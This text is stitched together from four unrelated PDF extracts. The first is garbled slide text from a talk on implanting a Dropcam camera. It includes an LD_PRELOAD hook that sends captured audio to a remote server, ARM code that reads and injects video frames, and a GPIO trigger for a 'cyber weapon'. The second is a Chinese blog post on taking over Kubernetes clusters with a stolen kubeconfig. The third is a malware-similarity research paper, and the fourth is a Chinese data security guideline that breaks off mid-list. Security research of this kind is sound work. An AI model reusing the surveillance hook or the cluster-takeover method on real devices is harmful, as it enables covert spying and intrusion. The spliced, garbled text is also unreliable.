 %% if(NULL%==%orig_snd_pcm_readn)
 % % orig_snd_pcm_readn%=%(snd_pcm_sframes_t(*)(snd_pcm_t*,void**,snd_pcm_uframes_t))%\
 % % % % % % % %%%%%%%%dlsym(RTLD_NEXT,%"snd_pcm_readn");%
 %% //invoke%original%snd_pcm_readn()
 %% snd_pcm_sframes_t%framesRead%=%orig_snd_pcm_readn(pcm,%bufs,%size);
 %% //exfil%captured%audio
 %% if(framesRead%>%0)
 %%%%%%sendToServer(AUDIO_SERVER,%AUDIO_SERVER_PORT,%bufs,%size);
 %% return%framesRead;
 } injected%into%connect cloning dropcam’s audio grabbing video connect talks to a propriety Ambarella device (/dev/iav) to read the h.264 encoded video stream ;opening%video%device%
 LDR%%%%%R0,%"/dev/iav"
 MOV%%%%%R1,%#2%%%%%%%%%%
 MOV%%%%%R2,%#0
 BL%%%%%%open opening the video device sending an IOCTL undocumented structure ;sending%ioctl%w/%struct
 MOV%%%%%R3,%#1
 MOV%%%%%R0,%R5%%%%%%%%%
 LDR%%%%%R1,%=0x80046537%%%%;IOCTL
 ADD%%%%%R2,%SP,%#0x120+var_D8
 STRB%%%%R3,%[R8]
 BL%%%%%%ioctl
 CMP%%%%%R0,%#0
 LDRLT%%%R0,%="IAV_IOC_READ_BITSTREAM_EX"
 BLT%%%%%printError goodbye $29.95/m cloud recording fees! grabbing video open device '/dev/iav' map BSB memory via ioctl IAV_IOC_MAP_BSB map DSP memory via ioctl IAV_IOC_MAP_DSP get stream’s state via ioctl
 IAV_IOC_GET_ENCODE_STREAM_INFO_EX (check for IAV_STREAM_STATE_ENCODING) finally, read the stream via ioctl IAV_IOC_READ_BITSTREAM_EX get h.264 parameters via ioctl IAV_IOC_GET_H264_CONFIG_EX perform the following steps to gain access to the raw video stream manipulating video (conceptually) connect’s process space injected 
 module ❤️ my cat! captured frame injected frame while are are out manipulating video (example) IAV_IOC_READ_BITSTREAM_EX injected module connect binary # LD_PRELOAD=/freeze.so /usr/bin/connect
 hooking ioctl: IAV_IOC_READ_BITSTREAM_EX
 intercepted-frame-(type-JPEG-‘full’):
 0x59 0x00 0x00 0x00 0xc8 0x44 0x7a 0x00 
 0x60 0x09 0xf6 0x4d 0x45 0xef 0x1d 0x00 
 0x00 0x03 0x00 0x00 0xd0 0x5d 0x71 0x47 
 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
 ... number address (0x4df60960) type size (0x1def) IAV_IOC_READ_BITSTREAM_EX 
 “frame” structure IDR,-I,-P,-B,-
 &-JPEG%full/JPEG-small frame types cuckoo’s egg C & C server browser-based geolocated implants implant tasking cuckoo’s egg C & C server C & C interface (job status) crafting a ‘cyber weapon’ + needing physical access to a device isn’t always a bad thing; can easily ‘enhance’ it ;) = additional hardware trigger via LED ‘blink’ frequency now this is a ‘cyber weapon’ crafting a ‘cyber weapon’ #!/bin/bash
 ...
 echo%$BLUE_GPIO%>%/sys/class/gpio/export
 echo%"out"%>%/sys/class/gpio/gpio$BLUE_GPIO/direction% for%i%in%$(seq%1%50);%do
 %%echo%1%>%/sys/class/gpio/gpio$BLUE_GPIO/value
 %%sleep%$DELAY
 %%echo%0%>%/sys/class/gpio/gpio$BLUE_GPIO/value
 %%sleep%$DELAY%%
 done generating a ‘trigger’ frequency void%loop()
 %duration%=%pulseIn(pin,%HI);
 %if(duration%==%
 %%%%period%+/U%tolerance)%
 %%{%%% 
 %%%% boom()
 %%}% awaiting trigger read, then trigger! contact info colby-moore [email protected] @colbymoore patrick-wardle [email protected] @patrickwardle creditz images: dropcam.com
 deviantart.com (FreshFarhan) icons: iconmonstr.com flaticon.com
pdf
隐藏信息接管k8s集群 最近在恶补⼀些体系框架,想到之前遇到的⼀个攻防场景,做个分享,⾮科普向。 很多⼈都分享过未授权场景的利⽤,但是关于证书认证、token认证下攻防的场景不是很 多。 基础概念补全 K8S k8s全称kubernetes,是⼀个开源的,⽤于管理云平台中多个主机上的容器化应⽤的编排 管理⼯具,提供了应⽤部署,规划,更新,维护的⼀种机制,可简单理解为容器集权设备。 kubernetes ⼜涉及到⼏个核⼼组件,其中,apiserver提供了资源操作的唯⼀⼊⼝,操作基本 上都是通过 apiserver 这个组件进⾏的,它提供 HTTP RESTful 形式的 API 供集群内外客户端 调⽤。kubernetes 对于访问 API 来说提供了三个步骤的安全措施:认证、授权、准⼊控制, 当⽤户使⽤ kubectl,client-go 或者 REST API 请求 apiserver 时,都要经过以上三个步骤的 校验。后⾯⼜涉及到Master节点、Node(Worker)节点、最⼩⼯作单元Pod及Service,后续 再科普。 Kubectl 1 命令⾏⼯具管理 Kubernetes 集群。 K8S API 认证 kubernetes ⽬前所有的认证策略(Authentication)如下所示: X509 client certs Static Token File Bootstrap Tokens Static Password File Service Account Tokens OpenId Connect Tokens Webhook Token Authentication Authticating Proxy Anonymous requests User impersonation Client-go credential plugins kubernetes ⽬前⽀持如下四种鉴权(Authorization)机制: Node ABAC RBAC Webhook Linux 信息收集Tips 为什么忽然提及到Linux信息收集呢,如果⼯作环境为Mac或者unix系系统可能⽐较了 解,⽐如 ls 和 ls -al 的区别, $HOME 路径下⾯ .xxx 这些⼀些服务应⽤所代表的配置,举 ⼏个例⼦ .aggressor.prop ⾥⾯记录了你Cobalt Strike的所有配置,包括连接地址、⽤户名、密 码、插件加载等 .bash_history和.ssh 不多赘述 .kube 本次重点 .zshrc 使⽤zsh终端的配置⽂件,可做权限维持 本次场景 ⼆层⽹络中拿到⼀台服务器权限,查看.bash_history发现存在Kubectl运维记录,但是未 发现相关user、password参数,翻⽂件发现.kube⽂件夹。 查看clusters.cluster.server发现,三套集群分别为aliyun上提供对外业务集群、第三层⽹ 络⽣产环境集群、测试集群配置⽂件,⾥⾯具体含义后续补充。 提供⼀个简单的本地连接⽅式,内⽹⾛代理,在本地mkdir .kube,然后copy conf到本 地.kube/config 然后后续和k8s匿名访问利⽤⽅法⼀样。 1. 获取Master节点信息 2. 获取 nodes 节点详细信息 3. 获取k8s 所有pods节点信息 4. 通过获取到的pods节点信息,进⼊对应docker 命令执⾏ 集群不算很⼤,最后获取近万台容器权限⽽已。 不多赘述了,都快变成科普⽂了。 想起⼀句话:"⽤机制去对抗机制,以运维思维去打攻防。" 1. Kubectl 简介及命令 ↩ 从今天起,做⼀个运维吧,同事那么厉害,被卷死了,还可以转个⾏。
pdf
Automated
Malware
Similarity
Analysis
 Daniel
Raygoza
 [email protected]
 Abstract
 Malware
analysis
has
evolved
in
both
the
sophistication
of
the
samples
 analyzed
and
the
tools
of
the
trade.
Unfortunately
human
analysis
of
samples
 is
still
very
expensive
and
time
consuming.
As
teams
of
malware
analysts
 have
grown
larger,
the
duplication
of
effort
in
analyzing
similar
pieces
of
 code
has
also
grown.
 The
goal
of
this
paper
is
to
outline
a
simple
framework
that
could
be
used
to
 help
remedy
this
situation,
ultimately
saving
time
and
money
for
 organizations
performing
malware
analysis.
 The
author
is
aware
of
similar
proprietary
and
commercial
products
that
aim
 to
resolve
this
issue
or
similar
issues,
however
he
is
not
aware
of
any
free
 tools
that
attempt
to
reduce
redundant
analysis.
 Introduction
 The
initial
approach
for
this
project
is
very
simple,
and
is
designed
to
be
as
 unobtrusive
to
an
analyst’s
typical
workflow
as
possible.
All
samples
arrive
 into
the
system
via
a
designated
drop
box,
be
it
a
file
share
or
other
method.
 The
samples
are
disassembled
and
their
functions
are
stored
as
individual
 byte‐streams
along
with
other
additional
information.
This
information
is
 then
passed
to
a
central
server
that
handles
the
indexing
of
this
data
and
the
 similarity
scoring
between
a
given
sample
and
every
other
sample
in
the
 system.
Because
similarity
scoring
occurs
at
the
function
level,
it
is
 straightforward
for
an
analyst
to
quickly
identify
which
individual
functions
 of
belonging
to
two
samples
contribute
to
their
similarity.
It
should
also
be
 fairly
easy
to
add
additional
algorithms
in
the
future
to
support
more
 complex
similarity
scoring.
 The
goal
is
not
to
simply
state
that
two
samples
are
similar,
but
also
help
 analysts
to
identify
which
of
their
components
make
them
similar.
In
doing
 so
an
analyst
is
easily
able
to
identify
which
code
may
need
additional
 scrutiny
without
duplicating
work.
This
system
has
not
been
designed
to
 support
the
classification
of
malware
into
families
or
groups,
nor
is
it
 designed
to
identify
what
is
or
is
not
malware,
it
is
instead
simply
a
tool
to
 identify
specific
similarities
and
provide
this
to
the
analyst
in
a
form
that
may
 help
reduce
hands‐on
analysis
time.
 Disassembly
 IDA
handles
disassembly
of
the
binary
with
the
aid
of
a
python
script,
and
 this
script
is
called
for
every
file
that
appears
in
a
drop‐box.
Because
we
are
 using
IDA
for
disassembly
it
is
expected
that
every
sample
would
be
 unpacked
prior
to
submission
unless
a
similarity
score
between
packers
is
 desired.
It
would
also
be
fairly
straightforward
to
integrate
a
generic
 unpacker
into
the
sequence
should
your
organization
have
one
available.
It
 may
also
be
possible
to
forgo
IDA
entirely
and
use
a
different
disassembler
to
 identify
the
function
byte‐streams.
 Applying
Fuzzy
Hashing
 While
fuzzy
hashing
is
very
tolerant
of
minor
differences
in
two
byte‐ streams,
it
is
completely
unaware
of
the
inherent
similarities
between
the
 structures
of
two
executables
(PE
file
headers,
null
padding,
etc.)
and
it
is
not
 able
to
appropriately
deal
with
the
transposition
of
functions
or
other
large
 chunks
of
data.
Fuzzy
hashing
across
an
entire
binary
would
lead
to
 confusing
results,
and
would
not
give
the
analyst
any
indication
of
which
 specific
data
lead
to
the
similarity
score.
 For
these
reasons
we
have
chosen
to
apply
fuzzy
hashing
to
the
byte‐streams
 corresponding
to
individual
functions
rather
than
the
entire
sample,
 producing
a
number
of
individual
fuzzy
hash
values
for
each
sample.
One
of
 the
problematic
attributes
of
fuzzy
hashing
is
that
the
values
are
not
sortable
 in
any
meaningful
way.
This
makes
comparison
between
every
sample
in
the
 database
a
fairly
intensive
process,
although
this
has
been
addressed
 somewhat
through
deduplication,
discarding
very
small
functions,
and
 ensuring
that
comparisons
never
occur
more
than
once
between
two
unique
 values.
This
was
also
the
original
motivation
to
centralize
this
information
so
 that
comparisons
could
be
pre‐computed
and
stored
permanently,
rather
 than
at
the
analyst’s
workstations
where
each
function
in
a
given
sample
 would
need
to
be
compared
against
every
function
from
all
other
samples.
 Similarity
Scoring
 Once
a
sample
has
been
disassembled
into
byte‐streams
representing
each
of
 its
functions
and
other
additional
information,
the
data
is
passed
to
another
 python
script
to
handle
the
database
import
process
and
similarity
scoring.

 The
similarity
scores
are
applied
at
the
function
level
and
multiplied
by
the
 size
of
the
functions
compared
to
give
additional
weight
to
larger
functions,
 and
then
aggregated
together
at
the
sample
level
to
give
a
total
similarity
 score
between
two
samples.
All
of
the
similarity
scores
are
pre‐computed
 and
stored
so
that
queries,
even
on
large
repositories,
should
be
fairly
 responsive.
 The
score
of
the
individual
functions
may
in
many
cases
be
more
valuable
to
 an
analyst
than
the
overall
score.
Because
samples
and
functions
can
be
 stored
with
attachments
(such
as
full
disassembler
output,
comments,
 reports,
etc.),
an
analyst
can
then
make
a
determination
on
where
to
focus
 the
hands‐on
analysis
and
produce
a
greater
return
on
investment
for
time
 spent.
It
may
also
be
important
to
identify
exactly
which
instructions
are
 different
between
two
similar
functions,
and
for
this
a
simple
byte‐stream
 difference
could
be
calculated,
or
the
byte‐streams
could
be
loaded
into
a
 more
sophisticated
tool.
 Interface
and
Visualization
 The
first
interface
for
this
project
will
be
a
simple
web
interface.
This
will
 allow
for
an
analyst
to
query
for
a
specific
sample
or
function
and
retrieve
a
 list
of
similarity
scores
and
their
related
attachments
(disassembler
output,
 binaries,
notes,
IDB
files,
etc.).
Ultimately
this
similarity
data
may
lend
itself
 to
more
interesting
visualizations
displaying
the
relationships
between
all
of
 the
samples
in
the
system.
 Many
of
the
more
complex
queries
to
retrieve
similarity
data
were
created
as
 stored
procedures
in
MySQL,
and
it
should
be
simple
to
develop
additional
 interfaces
to
this
information
(visualization,
export,
tool
integration,
etc)
 without
the
use
of
custom
queries.
There
are
also
plans
to
expose
the
 majority
of
the
data
via
XML
or
JSON
interfaces.
 Future
Work
 It
may
be
possible
to
make
fuzzy
hashing
more
tolerant
of
trivial
changes
in
 functions
(such
as
the
value
of
operands
in
instructions)
that
may
otherwise
 reduce
the
similarity
of
two
functions.
This
could
be
accomplished
by
either
 nulling
out
all
of
the
operands
in
the
byte‐stream,
or
by
mapping
individual
 opcodes
to
groups
and
values,
producing
a
byte‐stream
that
is
an
 interpretation
of
the
general
sequence
of
instructions
in
the
function.
 It
may
also
be
worth
examining
the
possibility
of
integrating
the
output
of
 the
similarity
scoring
system
into
the
users
workspace
(for
example
IDA
or
 Immunity)
to
include
comments
and
other
meaningful
information
gathered
 from
similar
functions.
This
would
provide
the
analyst
with
convenient
 access
to
similarity
information
in
their
preferred
environment.
 References
 Yara
 http://code.google.com/p/yara‐project/
 Fuzzy
Hashing
–
Jesse
Kornblum
 http://dfrws.org/2006/proceedings/12‐Kornblum‐pres.pdf
 Fuzzy
Clarity
–
Digital
Ninja
 http://digitalninjitsu.com/downloads/Fuzzy_Clarity_rev1.pdf
 Spamsum
–
Andrew
Tridgell
 http://digitalninjitsu.com/downloads/Fuzzy_Clarity_rev1.pdf
 ssdeep
–
Jesse
Kornblum
 http://ssdeep.sourceforge.net/
pdf
数据安全能力建设实施指南 V1.0 (征求意见稿) ! ! ! ! ! ! ! ! ! ! ! ! ! 《数据安全能力成熟度模型(DSMM)》配套文档 2018-9-29! ! ! ! 2! 目 录 前 言 ................................................................................ 3! 1 范围 ................................................................................ 4! 2 规范性引用文件 ...................................................................... 4! 3 术语和定义 .......................................................................... 4! 4 缩略语 .............................................................................. 5! 5 数据安全能力建设框架 ................................................................ 5! 5.1 数据安全与现有安全体系融合 ...................................................... 5! 5.2 数据安全能力建设框架 ............................................................ 5! 5.3 能力建设框架图说明 .............................................................. 6! 6 数据安全组织建设 .................................................................... 7! 6.1 组织架构设计 .................................................................... 7! 6.2 协同部门数据安全职能 ............................................................ 9! 7 数据安全人员能力 ................................................................... 11! 7.1 数据安全管理能力 ............................................................... 11! 7.2 数据安全运营能力 ............................................................... 12! 7.3 数据安全技术能力 ............................................................... 12! 7.4 数据安全合规能力 ............................................................... 13! 7.5 人员能力与组织架构的映射 ....................................................... 13! 8 数据安全制度流程 ................................................................... 14! 8.1 制度体系架构设计 ............................................................... 14! 8.2 制度体系架构说明 ............................................................... 16! 9 数据安全技术工具 ................................................................... 17! 9.1 技术工具架构设计 ............................................................... 17! 9.2 技术工具架构说明 ............................................................... 20! 10 数据安全域实施指南 ................................................................ 20! 10.1 数据采集安全 .................................................................. 20! 10.2 数据传输安全 .................................................................. 29! 10.3 数据存储安全 .................................................................. 33! 10.4 数据处理安全 .................................................................. 38! 10.5 数据交换安全 .................................................................. 45! 10.6 数据销毁安全 .................................................................. 52! 10.7 通用安全 ...................................................................... 56! 11 参考文献 .......................................................................... 70! ! 3! 前 言 本指南由阿里巴巴数据安全研究院发起,统筹规划和发布,最终解释归口。某些内容可能涉及专利, 本指南的发布机构不承担识别这些专利的责任。 本指南参与起草单位:阿里巴巴(中国)有限公司(下文简称“阿里巴巴”),杭州数梦工场科技有限 公司(下文简称“数梦工场”)、杭州安恒信息技术股份有限公司(下文简称“安恒信息”)、浙江蚂蚁小微 金融服务集团(下文简称“蚂蚁金服”)、阿里云计算有限公司(下文简称“阿里云”)。 各章节参与单位及人员: 主要章节 起草单位 起草人员 第5章 数据安全能力建设框架 阿里巴巴数据安全研究院 张迅迪、薛勇 第6章 数据安全组织建设 阿里巴巴数据安全研究院 陈彩芳 数梦工场 何维群 第7章 数据安全人员能力 阿里巴巴数据安全研究院 陈彩芳 蚂蚁金服 陈树鹏 安恒信息 周俊 第8章 数据安全制度流程 阿里巴巴数据安全研究院 薛勇 第9章 数据安全技术工具 阿里巴巴数据安全研究院 薛勇 第10章 PA01、PA02、PA03 数梦工场 何维群 第10章 PA14、PA15、PA16、PA17 数梦工场 毛昱 第10章 PA04、PA07、PA08、PA09、 PA18、PA19、PA20、PA21、PA25 阿里巴巴数据安全研究院 薛勇 第10章 PA05、PA06 安恒信息 周俊、徐胜兵 第10章 PA10、PA11、PA12、PA13 安恒信息 周俊、徐胜兵 第10章 PA22、PA26、PA27 蚂蚁金服 陈树鹏 第10章 PA23、PA24 阿里云 张敏翀 第2章和第10章所有PA涉及的国家 和行业标准,以及全文排版校对 阿里巴巴标准化部 白晓媛 本指南还得到以下单位相关领导和专家们的大力支持,参与了指南的评审并提出宝贵建议: 阿里巴巴(杜跃进、张玉东、朱红儒、张世长、潘亮、贾雪飞),电子四院(胡影、张宇光),数梦工 场(孙晖),安恒信息(林明峰),蚂蚁金服(王心刚、王道奎),阿里云(岑欣伟、张大江)。 ! 4! 数据安全能力建设实施指南 1 范围 本指南依据《信息安全技术 数据安全能力成熟度模型》(简称DSMM)制定,以数据为核心,重点围 绕数据生命周期,从组织建设、制度流程、技术工具和人员能力等四个方面,提供数据安全能力建设的具 体实施指南,为组织数据安全能力建设提供参考。 规划输出系列版本,这次版本以数据安全能力成熟度三级为目标,即如何达到DSMM规定的充分定义级 (三级),后续升级版再陆续补充其他级别的指南内容。 2 规范性引用文件 下列文件对于本文件的应用是必不可少的。凡是注日期的引用文件,仅所注日期的版本适用于本文件。 凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。 GB/T 25069—2010 信息安全技术 术语 GB/T XXXX—XXXX 信息安全技术 数据安全能力成熟度模型(待发布) GB/T 35273—2017 信息安全技术 个人信息安全规范 GB/T 35274—2017 信息安全技术 大数据服务安全能力要求 3 术语和定义 GB/T 25069—2010中界定的以及下列术语和定义适用于本文件。 数据安全 data security:保护数据的机密性、完整性和可用性。 数据安全能力 data security capability:组织机构在组织建设、制度流程、技术工具以及 人员能力等方面对数据的安全保障能力。 成熟度 maturity:对一个组织的有条理的持续改进能力以及实现特定过程的连续性、可持续性、 有效性和可信度的度量。 成熟度模型 maturity model:对一个组织机构的成熟度进行度量的模型,包括一系列的代表能 力和进展的特征、属性、指示或是模式。成熟度模型提供一个组织机构衡量其当前的实践、流程、方法的 能力水平的基准,并设置提升的目标。 数据脱敏data desensitization:通过模糊化等方法对原始数据进行处理以屏蔽敏感信息的一 种数据保护方法。 数据产品 data product:直接或间接使用数据的产品,包括但不限于能访问原始数据,提供数据 ! 5! 计算、数据存储、数据交换、数据分析、数据挖掘、数据展示等应用的软件产品。 数据处理 data processing:对原始数据进行抽取、转换、加载的过程,包括开发数据产品或数 据分析等。 合规compliance:对数据安全所适用的法律法规的遵循。 4 缩略语 下列缩略语适用于本标准: PA 过程域(Process Area) BP 基本实践(Base Practice) DSMM 数据安全能力成熟度模型(Data Security Capability Maturity Model) IAM 身份识别与访问管理(Identity and Access Management) BYOD 自带设备办公(Bring Your Own Device) MDM 移动设备管理(Mobile Device Management) MAM 移动应用管理(Mobile Application Management) MCM 移动内容管理(Mobile Content Management) 5 数据安全能力建设框架 5.1 数据安全与现有安全体系融合 数据安全能力建设工作并非从零开始,大部分组织在此前或多或少已有一些安全体系,基本上是围绕 信息系统和网络环境开展安全保护工作,主要聚焦在信息安全和网络安全;而数据安全是以数据为核心, 围绕数据安全生命周期进行建设以提高数据安全保障能力,所以需要与当前安全体系进行融合。在决策层 确定数据安全目标和愿景之后,再由数据安全管理层根据组织的业务发展实际情况讨论具体的融合方式。 5.2 数据安全能力建设框架 基于《信息安全技术 数据安全能力成熟度模型》标准能力成熟度等级3级要求,数据安全能力建设 可参考以下实施框架: ! 6! 图1:数据安全能力建设框架 5.3 能力建设框架图说明 整体来看,数据安全能力建设是以法律法规监管要求和业务发展需要为输入,结合数据安全在组织建 设、制度流程和技术工具的执行要求,匹配相应人员的具体能力,组织的数据安全能力建设结果最终以数 据生命周期各个过程域来综合体现。下面对合规和业务需求及四个能力维度的框架设计进行概要说明: 合规和业务需求:数据安全最终是为组织的业务发展服务的,不能游离于业务之外或独立存在。在 满足法律法规要求的前提下,数据安全能力建设须切合业务发展需要来开展。 组织建设:指数据安全组织的架构建立、职责分配和沟通协作。组织可分为决策层、管理层和执行 层等三层结构。其中,决策层由参与业务发展决策的高管和数据安全官组成,制定数据安全的目标和愿景, 在业务发展和数据安全之间做出良好的平衡;管理层是数据安全核心实体部门及业务部门管理层组成,负 责制定数据安全策略和规划,及具体管理规范;执行层由数据安全相关运营、技术和各业务部门接口人组 成,负责保证数据安全工作推进落地。 制度流程:指数据安全具体管理制度体系的建设和执行,包括数据安全方针和总纲、数据安全管理 规范、数据安全操作指南和作业指导,以及相关模板和表单等。 ! 7! 技术工具:指与制度流程相配套并保证有效执行的技术和工具,可以是独立的系统平台、工具、功 能或算法技术等。需要综合所有安全域进行整体规划和实现,且要和组织的业务系统和信息系统等进行衔 接。包括适用于所有安全域的通用技术工具,和部分阶段或安全域试用的技术工具。 人员能力:指为实现以上组织、制度和技术工具的建设和执行其人员应具备的能力。核心能力包括 数据安全管理能力、数据安全运营能力、数据安全技术能力及数据安全合规能力。根据不同数据安全能力 建设维度匹配不同人员能力要求。 6 数据安全组织建设 数据安全能力建设是一个复合型、需多方联动型的工作,在开展组织架构建设时,需要考虑组织层面 实体的管理团队及执行团队,同时也要考虑虚拟的联动小组,其中业务部门、研发部门、HR、IT、法务等 部门均需要参与数据安全建设当中。成立数据安全组织其目的是明确数据安全的政策、落实和监督等工作, 以确保数据安全能力建设的有效执行。 6.1 组织架构设计 设计数据安全的组织架构时,可按照决策层、管理层、执行层、员工和合作伙伴、监督层的组织架构 设计。在具体执行过程中,组织也可赋予已有安全团队与其它相关部门数据安全的工作职能,或寻求第三 方专业团队等形式开展工作,组织架构图如下: 图2:数据安全组织架构图 6.1.1 决策层 决策层是数据安全管理工作的决策机构,建议由数据安全官及其它高层管理人员组成,数据安全官是 组织内数据安全的最终负责人。数据安全官应能参与到组织的业务发展决策,因为业务的发展和数据安全 是密不可分。除数据安全官外,其它高层管理人员对于数据安全的重视和决策是非常重要的,决策层也需 要其它业务、法务、研发等高管共同组成,形成定期的沟通运作机制,其主要工作职责包括: ! 8! 1) 制定组织的数据安全目标和愿景; 2) 对数据安全策略和规划,制度与规范等进行发布; 3) 为组织的数据安全建设的提供必要的资源; 4) 对公司的重大数据安全事件进行协调和决策; 6.1.2 管理层 管理层是数据安全组织机构的第二层,基于组织决策层给出的策略,对数据安全实际工作制定详细方 案,做好业务发展与数据安全之间的平衡。在组织中承上启下,做好数据安全全面落地工作,是组织内开 展数据安全工作最核心的部门或岗位,部分工作可能需要组织外部专业资源共同来履行。其主要工作职责 包括: 1) 结合合规监管要求和业务发展需求,制订数据安全整体解决方案并组织实施; 2) 制定数据安全管理策略和规划,统一数据安全管理规范体系等; 3) 建立监控审计机制:数据安全工作和监督审计机制,推动并协助执行组织的建立,监督工作 有效开展; 4) 对组织内人员能力开展数据安全技术培训和意识宣导,逐步提升数据安全工作人员的能力水 平和组织内人员安全意识; 5) 制定数据安全决策层、管理层、执行层、监督层等的运作机制,保障数据安全工作在内部保 持信息通畅、运作顺利; 6) 保持外部组织的沟通,包括国家及行业监管、第三方咨询服务商(安全咨询、安全厂商)以 认证、测评机构(认证及认可、安全测评机构)等。 6.1.3 执行层 执行层与管理层是紧密配合的关系,其职责主要聚焦每一个数据安全场景,对设定的流程进行逐 个实现。执行层主要包括数据安全专职人员和各业务部门的数据安全接口人员、风险管理人员、数据 owner 等,其主要工作职责主要包括:! 1) 负责数据安全风险的评估和改进; 2) 负责数据安全运营工作,如:数据权限授权、数据共享、数据下载等审批; 3) 负责数据安全事件的跟进和处理; 4) 协助数据安全管理团队展开数据治理工作,如数据分类分级工作; 5) 负责数据安全专案项目管理和实施。 6.1.4 员工和合作伙伴 ! 9! 范围包括组织内部人员和有合作的第三方的人员,须遵守并执行组织内对数据安全的要求,特别 是共享敏感数据的第三方,从协议、办公环境、技术工具方面等做好约束和管理。员工和合作伙伴主 要职责是: 1) 履行组织对数据安全的要求,部署数据安全工具; 2) 通过培训、考试、案例学习等提升数据安全意识; 3) 提升数据安全风险识别的能力,能结合业务判断数据安全风险,并降低风险发生; 4) 对组织内风险及时申报,不断协助管理团队提升数据安全防护能力。 6.1.5 监督层 数据安全监督层负责定期监督审核管理小组、执行小组,员工和合作伙伴对数据安全政策和管理 要求的执行情况,并且向决策层进行汇报,监督层人员必须具备独立性,不能与其它管理小组、执行 小组等人员共同兼任,建议由组织内部的审计部门担任。其主要职责包括: 1) 对数据安全制度落地执行情况监督; 2) 对数据安全工具执行有效性监督; 3) 对数据安全风险开展监控与审计; ! 6.2 协同部门数据安全职能 数据安全组织和组织内多个部门之间有非常紧密的关系,在组织架构的顶层设计层面,业务部、IT部、 法务部、HR、研发部、风控部、公关部等部门需要参与到策略方向及重大事件的决策中;在实际数据安全 业务开展层面,从平台底层设计到流程制定实施、安全工具部署、人员安全管控、数据安全合规、对外披 露等方面均需要深度介入和协作。 同时,需要数据安全管理层制定与各部门之间的数据安全工作机制,目的是为了保障数据安全工作顺 利开展,过程中的争议得到解决,如数据安全安全团队与业务方、法务以及合作伙伴之间的日常工作交流、 争议与问题解决等事项。 这些职能部门所涉及的数据安全工作在第十章节会有更详细的描述,这里主要列举了一部分组织部门 在数据安全能力建设上可能会涉及的协同工作,具体部门名称在不同组织内可能会有差异,具体以实际情 况为主。 6.2.1 业务部门数据安全职能 ! 10! 业务部门在组织内主要职能是拓展业务,保障业务持续发展,但是同时需要兼顾数据安全风险问题。 在业务开展过程中,主要会涉及以下几方面的数据安全联动工作,对于较为复杂大型的组织,考虑业务 内部有一名数据安全接口人经过培训、赋能等工作(兼职)开展以下相关工作: 1) 业务新增:大部分场景主要涉及数据采集合规,需要由数据安全组织及法务合规部门,联合开展 新增业务的数据安全风险评估。 2) 业务运营:可能涉及数据批量查询、下载、分析和处理,过程中做好岗位权限管理,保障数据最 小化使用的原则。 3) 业务外部合作:当与外部产生合作,可能涉及数据共享、交换等场景,需要数据安全组织或数据 安全接口人开展数据共享、数据披露的风险评估,避免敏感数据外泄等风险;同时接收外部合作 的数据时,与合规部门联合做好数据来源合法的控制等措施。 4) 数据安全事件:当业务部门内部发生数据安全事件时,业务负责人需要联合数据安全组织及时调 查和处理,降低事件影响面及影响程度。并举一反三,改进业务流程机制,降低数据安全风险。 5) 其他数据安全执行工作,风险上报等职能。 6.2.2 人力资源部门数据安全职能 人员资源部门主要负责企业内部人员招聘、管理等工作,在人员入职、调岗、离职等过程中,做 好人员完整链路的数据安全协同工作,同时需要对数据安全违规人员进行处罚设置及处理。具体数据 安全工作职能详见10.x的PA21的详细解读。 6.2.3 IT 部门数据安全职能 IT部门主要实现组织内信息化的工作,过程中涉及到多个数据安全相关的管理工作,一般由数据 安全组织制定策略制度,由IT部门开展执行落地。主要数据安全职能包括: 1) 服务器、硬盘、PC等介质的安全管理; 2) 终端安全的防护措施部署; 3) 高风险软件、云盘、通信工具等软件的管理策略执行。 6.2.4 法务部门数据安全职能 法务部门主要负责政策法律、合作协议等相关事项,其中数据安全/个人隐私的政策法规逐步出台和 完善,结合实际业务组织开展内部的数据安全合规工作至关重要。具体开展时,可利用外部专业机构,作 为职能补充。主要会涉及到联动的数据安全工作职能包括: 1) 组织内部开展数据安全/个人隐私保护合规专项,并联合多部门完成合规。 2) 对数据供应链的合作伙伴,在合作协议中拟定数据安全相关管理要求。 3) 对组织内部开展数据安全合规政策的解读和培训。 ! 11! 6.2.5 风险管理部门数据安全职能 风险管理部门主要统筹负责组织内所有风险的安全管控,数据安全应是其中的一个模块,一定意义上, 可以与数据安全组织架构中的数据安全管理部门开展分工协作。其主要职能包括: 1) 设置内部数据安全风险举报机制,收集风险并及时开展处理; 2) 设置数据安全风险应急相应机制,联动数据安全组织、业务部门等开展风险评估和及时处理; 3) 对数据安全风险定期分析和总结,反馈给数据安全部门,促进数据安全在流程上、机制上、产品 上做优化和更新; 6.2.6 公共关系部门数据安全职能 公关部门即公共关系部门,通过良好的公共关系活动的策划来实施和实现组织内外有良好的科学关系, 涉及和管理组织内部较多信息对外发声以及外部声音的内部回应,在过程中其主要职能包括:! 1) 当对媒体发布信息时,在数据披露流程中,可以考虑结合内容敏感程度,增加公关的审批节点, 将数据披露的风险控制到最低。 2) 当涉及较大数据安全风险事件时,对外及时的响应应考虑由公关统筹发声,保障回应内容和方式 被公众所接受 。 7 数据安全人员能力 数据安全治理不是简单技术形的工种,在现在大数据背景下,是一个复合型的工作,所需要配备的人 员也需要具有多方面的能力。数据安全领域较新,在国内这方面培养的人员较少,也是当前逐步需要提升 的关键任务。 数据安全的人员能力主要包括几个维度,数据安全管理能力、数据安全运营能力、数据安全技术能力 和数据安全合规能力。通用能力在本章节中不再具体描述。 7.1 数据安全管理能力 目前大部分组织尚未正式开展数据安全体系建设,也较少有数据安全的专职职能岗位,对人员能力的 培养也在起步阶段。但是随着组织对数据安全的重视度逐步提高,体系建设的诉求也越来越强,所以如何 建设完整的数据安全体系,做好数据安全管理是企业面临的第一大问题。 数据安全管理包含以下能力: M1 熟悉国家网络安全法律法规及组织所属行业的政策和监管要求,了解行业内数据安全建设的最佳 实践路线; ! 12! M2 具备良好的业务发展战略判断能力,能够通过平衡业务需求和法律风险进行战略思考并提供实用 建议; M3 熟悉组织的业务特性,能根据业务的发展变化,制定或调整组织的数据安全策略; M4 能够基于组织的数据安全策略,编制相关的制度体系文件,对业务过程进行规范指导; M5 在隐私保护、数据安全、风险管理、审计合规等相关领域至少 3 年以上的管理经验; M6 具备组织内跨部门的管理协调能力,能够调动其他部门资源配合落地相关的数据安全控制机制。 M7 具备数据安全管理团队的组建及人才梯队建设的能力; M8 具备数据安全应急指挥能力,对业务过程中发生的数据安全问题,能够准确判断快速组织相关人 员进行应急处置; M9 了解组织业务及数据特性,在各业务部门有针对性的落实数据安全策略和控制措施; M10 